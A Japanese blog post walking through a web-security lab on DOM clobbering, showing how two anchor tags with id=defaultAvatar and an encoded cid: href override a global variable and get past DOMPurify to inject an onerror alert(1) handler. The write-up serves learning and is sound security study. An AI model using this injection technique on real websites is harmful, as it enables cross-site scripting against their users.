shikata ga nai

Private? There is no such things.

Exploiting DOM clobbering to enable XSSをやってみた

Hello there, ('ω')ノ

 

DOMクロバリングを利用してXSSの有効化を。

このラボには、DOMを破壊する脆弱性が含まれていて。

 

まずは、ページにアクセスしてJavaScriptを確認して。

 

f:id:ThisIsOne:20210423152416p:plain

 

下記の関数を確認してみると。

 function displayComments(comments)

 

DOMベースの脆弱性を減らすためにDOMPurifyフィルタ使用していて。

DOMPurifyでは、二重引用符をURLエンコードしないcid:プロトコルを使用できて。

実行時には、デコードされるエンコードされた二重引用符を挿入できて。

 

f:id:ThisIsOne:20210423154904p:plain

 

defaultAvatarオブジェクトは。

グローバル変数と組み合わせて論理OR演算子を含んでいて。

DOMの破壊に対して脆弱で。

Dom Clobberingを使用して、window.defaultAvatarを制御できるので。

avatarを使用してXSSのdefaultAvatar.avatarを作成できて。

 

let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}


let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

 

f:id:ThisIsOne:20210423133652p:plain

 

下記のアンカを含むコメントを投稿すると。

アンカータグを使用して、このオブジェクトを上書きできるので。

同じIDで2つのアンカーを作成して、DOMコレクションにグループ化して。

2番目のアンカーのname属性の値には、avatarが。

これで、avatarプロパティがhref属性の内容で上書きされて。

 

 <a id=defaultAvatar>

 <a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

 

f:id:ThisIsOne:20210423133827p:plain

 

投稿後のHTMLソースコードは以下のとおりになって。

 

 <a id="defaultAvatar"></a>
 <a href="1:&quot;onerror=alert(1)//" name="avatar" id="defaultAvatar"></a>

 

f:id:ThisIsOne:20210423163542p:plain

 

ちなみに下記を投稿した場合のソースコードのケースは。

 test

 

f:id:ThisIsOne:20210423164824p:plain

 

また、下記を投稿した場合のソースコードのケースは。

 <a id=defaultAvatar>

 

f:id:ThisIsOne:20210423165024p:plain

 

さらに下記をエンコードで投稿した場合のソースコードのケースは。

 <a id=defaultAvatar>

 <a id=defaultAvatar name=avatar href="cid:%22onerror=alert(1)//">

 

f:id:ThisIsOne:20210423170711p:plain

 

次に2番目の投稿を行うと、

ブラウザは新しくクローバーされたグローバル変数を使用するので。

defaultAvatar変数に下記が割り当てられて。

 {avatar: ‘cid: "onerror = alert(1)//’}

 

ページがロードされると。

onerrorイベントハンドラのペイロードが密輸されて、alert()が呼ばれて。

 

f:id:ThisIsOne:20210423134333p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210423134359p:plain

 

ちなみに投稿後のページは、下記のとおりで。

 

f:id:ThisIsOne:20210423134449p:plain

 

Best reagards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain